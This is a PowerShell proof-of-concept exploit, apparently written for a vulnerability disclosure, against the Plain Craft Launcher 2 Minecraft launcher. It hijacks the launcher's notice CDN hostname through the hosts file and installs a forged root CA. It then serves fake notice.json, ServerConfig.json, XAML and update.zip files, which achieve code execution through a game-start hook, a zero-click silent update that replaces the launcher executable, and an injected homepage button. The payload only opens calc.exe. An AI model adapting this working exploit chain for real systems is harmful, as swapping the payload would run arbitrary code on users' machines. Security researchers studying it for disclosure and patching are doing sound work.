| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543 |
- #Requires -Version 5.1
- <#
- .SYNOPSIS
- PCL2 (Plain Craft Launcher 2) notice.json local-hijack PoC.
- .DESCRIPTION
- Installs a lab CA into the machine root store, points the PCL notice CDN
- hostname at 127.0.0.1, serves forged notice.cfg / notice.json /
- ServerConfig.json / update.zip from server.py, starts the supplied PCL
- build, and verifies that the payload (marker + calc.exe) was executed.
- Modes:
- launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.
- The payload fires when you click "Start Game" in PCL.
- (Reproduces the sample notice supplied by the requester.)
- update : notice.cfg v999 + notice.json -> actions.slientupdate +
- ServerConfig DownloadUrls -> update.zip = payload renamed to
- "Plain Craft Launcher 2.exe". Zero-click: PCL downloads and
- extracts it, then executes it when PCL exits.
- xaml : notice.json -> actions.setup -> remote Custom.xaml homepage
- + HintCustomCommand=true. Two PCL starts: the first writes
- the settings, the second loads the XAML; one click on the
- injected button runs the payload.
- both : launch + update (default).
- Run this only in an isolated Windows VM. It modifies the hosts file,
- the machine root certificate store and the PCL settings; cleanup is
- attempted in the finally block.
- .PARAMETER PclPath
- Path to the PCL executable. Defaults to ..\Plain Craft Launcher 2.exe.
- .PARAMETER Port
- Local HTTPS port (default 443, requires administrator).
- .PARAMETER Timeout
- Seconds to wait for the payload marker (default 180).
- .PARAMETER KeepArtifacts
- Do not delete the marker / payload / staging exe after the run.
- .EXAMPLE
- powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
- #>
- [CmdletBinding()]
- param(
- [ValidateSet('launch', 'update', 'xaml', 'both')]
- [string]$Mode = 'both',
- [string]$PclPath = '',
- [int]$Port = 443,
- [int]$Timeout = 180,
- [string]$PythonExe = '',
- [ValidateSet('auto', 'powershell', 'python')]
- [string]$Server = 'auto',
- [switch]$KeepArtifacts,
- [switch]$Pause,
- [switch]$Manual
- )
- $ErrorActionPreference = 'Stop'
- $Domain = 'pcl2-server-1253424809.file.myqcloud.com'
- $PocDir = Split-Path -Parent $MyInvocation.MyCommand.Path
- $HostsFile = Join-Path $env:SystemRoot 'System32\drivers\etc\hosts'
- $PublicDir = if ($env:PUBLIC) { $env:PUBLIC } else { 'C:\Users\Public' }
- $PayloadExe = Join-Path $PublicDir 'pclpoc.exe'
- $MarkerFile = Join-Path $env:TEMP 'pcl-poc-marker.txt'
- $BackupDir = Join-Path $PocDir 'backup'
- $RunLog = Join-Path $PocDir 'poc-run.log'
- $pauseArg = if ($Pause) { ' -Pause' } else { '' }
- $usePsServer = ($Server -ne 'python')
- $manualArg = if ($Manual) { ' -Manual' } else { '' }
- function Write-Log {
- param([string]$Message)
- $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
- Write-Host $line
- Add-Content -LiteralPath $RunLog -Value $line -Encoding UTF8
- }
- function Test-Admin {
- $id = [Security.Principal.WindowsIdentity]::GetCurrent()
- $pr = New-Object Security.Principal.WindowsPrincipal($id)
- return $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
- }
- function Wait-Port {
- param([int]$TcpPort, [int]$Seconds = 15)
- $sw = [Diagnostics.Stopwatch]::StartNew()
- while ($sw.Elapsed.TotalSeconds -lt $Seconds) {
- try {
- $c = New-Object Net.Sockets.TcpClient
- $c.Connect('127.0.0.1', $TcpPort)
- $c.Close()
- return $true
- } catch {
- Start-Sleep -Milliseconds 250
- }
- }
- return $false
- }
- function Close-Pcl {
- param([System.Diagnostics.Process]$Process)
- if ($null -eq $Process -or $Process.HasExited) { return }
- Write-Log "Closing PCL PID $($Process.Id) ..."
- $null = $Process.CloseMainWindow()
- if (-not $Process.WaitForExit(10000)) {
- try {
- $ws = New-Object -ComObject WScript.Shell
- $null = $ws.AppActivate($Process.Id)
- Start-Sleep -Milliseconds 300
- $ws.SendKeys('%{F4}')
- Start-Sleep -Milliseconds 800
- $ws.SendKeys('{ENTER}')
- } catch { }
- $null = $Process.WaitForExit(8000)
- }
- if (-not $Process.HasExited) {
- Write-Log 'PCL did not exit gracefully, killing it (silent-update restart may be skipped).'
- Stop-Process -Id $Process.Id -Force
- }
- }
- # --------------------------------------------------------------------------
- # PowerShell 7 compatibility: the payload compiler below needs Windows
- # PowerShell 5.1 (`Add-Type -OutputType ConsoleApplication` is unsupported in
- # pwsh 7). Re-launch under 5.1 once, preserving elevation.
- # --------------------------------------------------------------------------
- if ($PSVersionTable.PSEdition -eq 'Core' -and $env:PCLPOC_PS51 -ne '1') {
- Write-Host '[*] PowerShell 7 detected; switching to Windows PowerShell 5.1 ...'
- $q = "`$env:PCLPOC_PS51='1'; & '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
- $ps51Args = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q)
- try {
- if (Test-Admin) {
- Start-Process -FilePath 'powershell.exe' -ArgumentList $ps51Args | Out-Null
- } else {
- Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList $ps51Args | Out-Null
- }
- exit
- } catch {
- Write-Warning "Could not start powershell.exe 5.1 ($($_.Exception.Message)); continuing in pwsh."
- }
- }
- # --------------------------------------------------------------------------
- # elevation
- # --------------------------------------------------------------------------
- if (-not (Test-Admin)) {
- Write-Host '[*] Administrator privileges are required; relaunching elevated ...'
- $q = "& '$PSCommandPath' -Mode '$Mode' -PclPath '$PclPath' -Port $Port -Timeout $Timeout$pauseArg$manualArg"
- Start-Process -FilePath 'powershell.exe' -Verb RunAs -ArgumentList @(
- '-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', $q
- ) | Out-Null
- exit
- }
- New-Item -ItemType Directory -Force -Path $BackupDir | Out-Null
- Set-Content -LiteralPath $RunLog -Value "PCL2 notice.json PoC - $(Get-Date -Format o)" -Encoding UTF8
- $srv = $null
- $pcl = $null
- $caCert = $null
- $leafCert = $null
- $hostsBackup = Join-Path $BackupDir 'hosts.bak'
- $setupIni = $null
- $setupBackup = $null
- $regBackup = Join-Path $BackupDir 'pcl-reg.bak.reg'
- $stagingExe = $null
- $stagingExisted = $false
- try {
- # ----------------------------------------------------------------------
- # resolve paths / python
- # ----------------------------------------------------------------------
- if (-not $PclPath -and -not $Manual) {
- $PclPath = Join-Path (Split-Path -Parent $PocDir) 'Plain Craft Launcher 2.exe'
- }
- if ($PclPath) {
- if (-not (Test-Path -LiteralPath $PclPath)) {
- throw "PCL executable not found: $PclPath"
- }
- $PclPath = (Resolve-Path -LiteralPath $PclPath).Path
- $PclDir = Split-Path -Parent $PclPath
- Write-Log "PCL: $PclPath"
- } else {
- Write-Log 'No PclPath: server-only manual mode; all PCL-specific steps are skipped.'
- Write-Log 'WARNING: PCL Setup.ini is not backed up; use a disposable PCL copy.'
- Write-Log 'WARNING: staging cleanup is skipped; delete <your PCL>\PCL\Plain Craft Launcher 2.exe manually.'
- }
- if (-not $usePsServer) {
- $pyPrefix = @()
- if ($PythonExe) {
- $pc = Get-Command $PythonExe -ErrorAction SilentlyContinue
- if ($pc) {
- $pyPath = $pc.Source
- } elseif (Test-Path -LiteralPath $PythonExe) {
- $pyPath = (Resolve-Path -LiteralPath $PythonExe).Path
- } else {
- throw "PythonExe not found: $PythonExe"
- }
- if ([IO.Path]::GetFileName($pyPath) -ieq 'py.exe') { $pyPrefix = @('-3') }
- } else {
- $pyPath = $null
- foreach ($name in @('python.exe', 'py.exe', 'python3.exe')) {
- foreach ($c in @(Get-Command $name -All -ErrorAction SilentlyContinue)) {
- if ($c.Source -like '*\WindowsApps\*') {
- Write-Log "Skipping Microsoft Store alias: $($c.Source)"
- continue
- }
- $pyPath = $c.Source
- if ($name -ieq 'py.exe') { $pyPrefix = @('-3') }
- break
- }
- if ($pyPath) { break }
- }
- if (-not $pyPath) {
- throw "No real Python 3 found. The python.exe in WindowsApps is a Microsoft Store alias and cannot run server.py. Install Python from python.org (check 'Add python.exe to PATH'), or run: winget install -e --id Python.Python.3.12 Then rerun with -PythonExe C:\Path\to\python.exe if needed."
- }
- }
- $ver = (& $pyPath @pyPrefix --version 2>&1) -join ' '
- if ($LASTEXITCODE -ne 0) {
- throw "Python failed to run: $pyPath $($pyPrefix -join ' ') --version => $ver"
- }
- Write-Log "Python: $pyPath ($ver)"
- }
- # ----------------------------------------------------------------------
- # backup / patch hosts
- # ----------------------------------------------------------------------
- Copy-Item -LiteralPath $HostsFile -Destination $hostsBackup -Force
- $hostsLines = Get-Content -LiteralPath $HostsFile -ErrorAction SilentlyContinue
- if (-not ($hostsLines -match "(^|\s)$([regex]::Escape($Domain))(\s|$)")) {
- Add-Content -LiteralPath $HostsFile -Value "`r`n127.0.0.1 $Domain" -Encoding ASCII
- Write-Log "hosts: $Domain -> 127.0.0.1"
- } else {
- Write-Log 'hosts already contains the lab entry.'
- }
- & ipconfig.exe /flushdns 2>$null | Out-Null
- Write-Log 'DNS cache flushed.'
- # ----------------------------------------------------------------------
- # trust the lab CA
- # ----------------------------------------------------------------------
- if ($usePsServer) {
- Write-Log 'Generating lab CA and leaf certificates ...'
- $caCert = New-SelfSignedCertificate -Subject 'CN=PCL2 PoC Lab CA' `
- -CertStoreLocation 'Cert:\CurrentUser\My' -KeyUsage CertSign,CRLSign `
- -TextExtension @('2.5.29.19={critical}{text}ca=1') -NotAfter (Get-Date).AddYears(10)
- $leafCert = New-SelfSignedCertificate -DnsName $Domain -Signer $caCert `
- -CertStoreLocation 'Cert:\CurrentUser\My' `
- -TextExtension @('2.5.29.37={text}1.3.6.1.5.5.7.3.1') -NotAfter (Get-Date).AddYears(10)
- $caCer = Join-Path $BackupDir 'poc-ca.cer'
- Export-Certificate -Cert $caCert -FilePath $caCer -Force | Out-Null
- Import-Certificate -FilePath $caCer -CertStoreLocation 'Cert:\LocalMachine\Root' | Out-Null
- Write-Log "CA generated: $($caCert.Thumbprint)"
- Write-Log "leaf generated: $($leafCert.Thumbprint)"
- } else {
- $caPath = Join-Path $PocDir 'certs\ca.crt'
- $caCert = Import-Certificate -FilePath $caPath -CertStoreLocation 'Cert:\LocalMachine\Root'
- Write-Log "CA imported: $($caCert.Thumbprint)"
- }
- # ----------------------------------------------------------------------
- # build the payload (marker + calc.exe)
- # ----------------------------------------------------------------------
- $payloadCode = @'
- using System;
- using System.Diagnostics;
- using System.IO;
- public class PclPocPayload
- {
- public static void Main(string[] args)
- {
- try
- {
- string marker = Path.Combine(Path.GetTempPath(), "pcl-poc-marker.txt");
- string line = DateTime.Now.ToString("o") + " pid=" +
- Process.GetCurrentProcess().Id + " args=" + string.Join(" ", args) +
- Environment.NewLine;
- File.AppendAllText(marker, line);
- }
- catch { }
- try { Process.Start("calc.exe"); } catch { }
- }
- }
- '@
- if (Test-Path -LiteralPath $PayloadExe) { Remove-Item -LiteralPath $PayloadExe -Force }
- try {
- Add-Type -TypeDefinition $payloadCode -OutputAssembly $PayloadExe -OutputType ConsoleApplication -ErrorAction Stop
- Write-Log "payload compiled: $PayloadExe"
- } catch {
- Write-Log "payload compile failed ($($_.Exception.Message)); falling back to calc.exe copy"
- Copy-Item -LiteralPath (Join-Path $env:SystemRoot 'System32\calc.exe') -Destination $PayloadExe -Force
- }
- # ----------------------------------------------------------------------
- # back up PCL state that the notice will modify
- # ----------------------------------------------------------------------
- if ($PclDir) {
- $setupIni = Join-Path $PclDir 'PCL\Setup.ini'
- if (Test-Path -LiteralPath $setupIni) {
- $setupBackup = Join-Path $BackupDir 'Setup.ini.bak'
- Copy-Item -LiteralPath $setupIni -Destination $setupBackup -Force
- }
- }
- & cmd.exe /c "reg export `"HKCU\Software\PCL`" `"$regBackup`" /y >nul 2>&1"
- # reset notice bookkeeping so our id is always considered new
- & cmd.exe /c "reg add `"HKCU\Software\PCL`" /v HintNotice /t REG_SZ /d 0 /f >nul 2>&1"
- # remove stale caches
- $cacheDir = Join-Path $env:TEMP 'PCL\Cache'
- foreach ($n in @('Notice.json', 'Notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
- Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
- }
- Remove-Item -LiteralPath $MarkerFile -Force -ErrorAction SilentlyContinue
- if ($PclDir) {
- $stagingExe = Join-Path $PclDir 'PCL\Plain Craft Launcher 2.exe'
- if (Test-Path -LiteralPath $stagingExe) {
- $stagingExisted = $true
- Copy-Item -LiteralPath $stagingExe -Destination (Join-Path $BackupDir 'staging.bak') -Force
- Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
- }
- }
- # ----------------------------------------------------------------------
- # start the forged HTTPS server
- # ----------------------------------------------------------------------
- $zip = Join-Path $PocDir 'www\update.zip'
- Remove-Item -LiteralPath $zip -Force -ErrorAction SilentlyContinue
- $stdout = Join-Path $BackupDir 'server.out.log'
- $stderr = Join-Path $BackupDir 'server.err.log'
- if ($usePsServer) {
- $serverScript = Join-Path $PocDir 'server.ps1'
- $serverArgs = @(
- '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', ('"' + $serverScript + '"'),
- '-Mode', $Mode,
- '-Bind', '127.0.0.1',
- '-Port', $Port,
- '-PayloadExe', ('"' + $PayloadExe + '"'),
- '-CertThumbprint', $leafCert.Thumbprint
- )
- $srv = Start-Process -FilePath 'powershell.exe' -ArgumentList $serverArgs `
- -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
- } else {
- $serverScript = Join-Path $PocDir 'server.py'
- $serverArgs = @(
- ('"' + $serverScript + '"'),
- '--mode', $Mode,
- '--bind', '127.0.0.1',
- '--port', $Port,
- '--payload-exe', ('"' + $PayloadExe + '"')
- )
- $srv = Start-Process -FilePath $pyPath -ArgumentList (@($pyPrefix) + $serverArgs) `
- -PassThru -WindowStyle Hidden -RedirectStandardOutput $stdout -RedirectStandardError $stderr
- }
- if (-not (Wait-Port -TcpPort $Port -Seconds 15)) {
- $tail = ''
- if (Test-Path -LiteralPath $stderr) {
- $tail = ((Get-Content -LiteralPath $stderr -Tail 30 -ErrorAction SilentlyContinue) -join [Environment]::NewLine)
- }
- throw "PoC server did not listen on port $Port. Server stderr:`n$tail`nSee $stderr"
- }
- Write-Log "PoC server listening on https://127.0.0.1:$Port (mode=$Mode)"
- # ----------------------------------------------------------------------
- # start PCL
- # ----------------------------------------------------------------------
- if ($Manual) {
- Write-Log 'Manual mode: PCL will not be started or closed by this script.'
- Write-Host ''
- Write-Host '>>> MANUAL MODE: start and close PCL yourself.' -ForegroundColor Yellow
- if ($PclPath) {
- Write-Host ">>> PCL: $PclPath"
- } else {
- Write-Host '>>> PCL: your own copy (this script does not track or touch it)'
- }
- $stagingLabel = if ($stagingExe) { $stagingExe } else { '<your PCL folder>\PCL\Plain Craft Launcher 2.exe' }
- switch ($Mode) {
- 'update' { Write-Host ">>> Wait until this file exists: $stagingLabel" }
- 'both' { Write-Host ">>> Wait until this file exists: $stagingLabel" }
- 'launch' { Write-Host '>>> In PCL, click "Start Game".' }
- 'xaml' { Write-Host '>>> Start PCL, wait about 20 seconds, close it, start it again, then click "Continue".' }
- }
- Write-Host '>>> Then close PCL normally (for update mode) or finish the click.'
- Write-Host '>>> The server keeps running while you work.'
- Write-Host '>>> When done, press Enter in THIS window to verify and cleanup.'
- Write-Host ''
- Read-Host 'Press Enter to stop the server and cleanup'
- } else {
- Write-Log 'Starting PCL ...'
- $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
- Write-Log "PCL PID $($pcl.Id)"
- if ($Mode -eq 'update' -or $Mode -eq 'both') {
- Write-Log 'Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...'
- $sw = [Diagnostics.Stopwatch]::StartNew()
- while ($sw.Elapsed.TotalSeconds -lt 120) {
- if ((Test-Path -LiteralPath $stagingExe) -and ((Get-Item -LiteralPath $stagingExe).Length -gt 0)) {
- Write-Log 'update payload staged.'
- break
- }
- Start-Sleep -Milliseconds 500
- }
- if (-not (Test-Path -LiteralPath $stagingExe)) {
- Write-Log 'WARNING: update payload was not staged; check server logs and PCL logs.'
- }
- Start-Sleep -Seconds 2
- Close-Pcl -Process $pcl
- }
- if ($Mode -eq 'xaml') {
- Write-Log 'First start: writing malicious settings, then restarting PCL.'
- Start-Sleep -Seconds 20
- Close-Pcl -Process $pcl
- Start-Sleep -Seconds 2
- $pcl = Start-Process -FilePath $PclPath -WorkingDirectory $PclDir -PassThru
- Write-Log "PCL PID $($pcl.Id) (second start)"
- Write-Log 'Waiting for Custom.xaml to be downloaded ...'
- $xamlCache = Join-Path $cacheDir 'Custom.xaml'
- $sw = [Diagnostics.Stopwatch]::StartNew()
- while ($sw.Elapsed.TotalSeconds -lt 60) {
- if (Test-Path -LiteralPath $xamlCache) { break }
- Start-Sleep -Milliseconds 500
- }
- Write-Host ''
- Write-Host '>>> Fake Custom.xaml loaded. Click "Continue" on the PCL home page.' -ForegroundColor Yellow
- Write-Host ''
- } elseif ($Mode -eq 'launch') {
- Write-Host ''
- Write-Host '>>> In PCL, click "Start Game" (a working Minecraft instance is required).' -ForegroundColor Yellow
- Write-Host '>>> This is what runs the LaunchAdvanceRun payload.' -ForegroundColor Yellow
- Write-Host ''
- }
- }
- # ----------------------------------------------------------------------
- # wait for the marker
- # ----------------------------------------------------------------------
- if (-not $Manual) {
- Write-Log "Waiting up to $Timeout seconds for $MarkerFile ..."
- $sw = [Diagnostics.Stopwatch]::StartNew()
- while ($sw.Elapsed.TotalSeconds -lt $Timeout) {
- if (Test-Path -LiteralPath $MarkerFile) { break }
- if ($pcl -and $pcl.HasExited -and $Mode -ne 'update' -and $Mode -ne 'both') { break }
- Start-Sleep -Milliseconds 500
- }
- }
- if (Test-Path -LiteralPath $MarkerFile) {
- Write-Host ''
- Write-Host '[+] SUCCESS: payload executed.' -ForegroundColor Green
- Get-Content -LiteralPath $MarkerFile | ForEach-Object { Write-Host " $_" }
- Write-Host ''
- } else {
- Write-Host ''
- Write-Host '[-] No marker file was produced.' -ForegroundColor Red
- if ($PclDir) {
- Write-Host " PCL log: $PclDir\PCL\Log*.txt"
- }
- Write-Host " server log: $stdout"
- Write-Host ''
- }
- if ($pcl -and -not $pcl.HasExited) {
- Write-Log 'Leaving PCL running for inspection.'
- }
- }
- catch {
- Write-Host ''
- Write-Host "[-] ERROR: $($_.Exception.Message)" -ForegroundColor Red
- try { Write-Log "ERROR: $($_.Exception.Message)" } catch { }
- }
- finally {
- Write-Log 'Cleanup ...'
- if ($srv -and -not $srv.HasExited) {
- Stop-Process -Id $srv.Id -Force -ErrorAction SilentlyContinue
- }
- if ($pcl -and -not $pcl.HasExited) {
- try { $pcl.CloseMainWindow() | Out-Null } catch { }
- Start-Sleep -Milliseconds 500
- if (-not $pcl.HasExited) { Stop-Process -Id $pcl.Id -Force -ErrorAction SilentlyContinue }
- }
- if ($caCert) {
- Remove-Item -LiteralPath "Cert:\LocalMachine\Root\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
- if ($usePsServer) {
- Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($caCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
- }
- Write-Log 'CA removed.'
- }
- if ($leafCert) {
- Remove-Item -LiteralPath "Cert:\CurrentUser\My\$($leafCert.Thumbprint)" -Force -ErrorAction SilentlyContinue
- Write-Log 'leaf certificate removed.'
- }
- if (Test-Path -LiteralPath $hostsBackup) {
- Copy-Item -LiteralPath $hostsBackup -Destination $HostsFile -Force
- Write-Log 'hosts restored.'
- }
- if ($setupBackup -and (Test-Path -LiteralPath $setupBackup)) {
- Copy-Item -LiteralPath $setupBackup -Destination $setupIni -Force
- }
- if (Test-Path -LiteralPath $regBackup) {
- & cmd.exe /c "reg import `"$regBackup`" >nul 2>&1"
- Write-Log 'PCL registry restored.'
- }
- if ($stagingExisted -and (Test-Path -LiteralPath (Join-Path $BackupDir 'staging.bak'))) {
- Copy-Item -LiteralPath (Join-Path $BackupDir 'staging.bak') -Destination $stagingExe -Force -ErrorAction SilentlyContinue
- } elseif (-not $stagingExisted -and $stagingExe -and (Test-Path -LiteralPath $stagingExe)) {
- Remove-Item -LiteralPath $stagingExe -Force -ErrorAction SilentlyContinue
- }
- if (-not $setupBackup -and $setupIni -and (Test-Path -LiteralPath $setupIni)) {
- Remove-Item -LiteralPath $setupIni -Force -ErrorAction SilentlyContinue
- }
- if ($cacheDir) {
- foreach ($n in @('Notice.json', 'notice.cfg', 'ServerConfig.json', 'Custom.xaml')) {
- Remove-Item -LiteralPath (Join-Path $cacheDir $n) -Force -ErrorAction SilentlyContinue
- }
- }
- if (-not $KeepArtifacts) {
- Remove-Item -LiteralPath $PayloadExe -Force -ErrorAction SilentlyContinue
- }
- Write-Log 'Done.'
- }
- if ($Pause) {
- Write-Host ''
- Read-Host 'Press Enter to close'
- }
|